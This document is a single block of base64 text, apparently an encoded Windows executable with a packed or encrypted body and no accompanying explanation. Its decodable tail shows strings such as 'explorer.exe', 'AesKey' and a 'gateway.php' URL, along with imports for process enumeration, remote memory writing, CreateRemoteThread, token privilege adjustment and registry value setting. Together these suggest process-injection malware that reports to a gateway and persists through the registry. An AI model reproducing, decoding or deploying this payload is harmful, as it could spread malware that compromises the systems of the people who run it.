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Byb2Nlc3MA4AFHZXRFeGl0Q29kZVRocmVhZAD5BFdhaXRGb3JTaW5nbGVPYmplY3QAUgBDbG9zZUhhbmRsZQCpAENyZWF0ZVJlbW90ZVRocmVhZAAAowJHZXRWZXJzaW9uRXhBAOoEVmlydHVhbEFsbG9jRXgAABMEUmVzdW1lVGhyZWFkAADLAkhlYXBBbGxvYwBKAkdldFByb2Nlc3NIZWFwAACIAENyZWF0ZUZpbGVBAEUCR2V0UHJvY0FkZHJlc3MAAD4FbHN0cmNhdEEAAE0FbHN0cmxlbkEAADwDTG9hZExpYnJhcnlBAAAuBVdyaXRlUHJvY2Vzc01lbW9yeQAAYgFGcmVlTGlicmFyeQBYAUZsdXNoSW5zdHJ1Y3Rpb25DYWNoZQBzBFNldExhc3RFcnJvcgAAJQJHZXROYXRpdmVTeXN0ZW1JbmZvACUFV3JpdGVGaWxlAL4AQ3JlYXRlVG9vbGhlbHAzMlNuYXBzaG90AACVA1Byb2Nlc3MzMkZpcnN0AACXA1Byb2Nlc3MzMk5leHQAhgFHZXRDb21tYW5kTGluZUEAhAJHZXRUZW1wUGF0aEEAAEtFUk5FTDMyLmRsbAAAMgN3c3ByaW50ZkEAVVNFUjMyLmRsbAAA9wFPcGVuUHJvY2Vzc1Rva2VuAAAfAEFkanVzdFRva2VuUHJpdmlsZWdlcwCWAUxvb2t1cFByaXZpbGVnZVZhbHVlQQAwAlJlZ0Nsb3NlS2V5ADcCUmVnQ3JlYXRlS2V5QQB9AlJlZ1NldFZhbHVlRXhBAABBRFZBUEkzMi5kbGwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA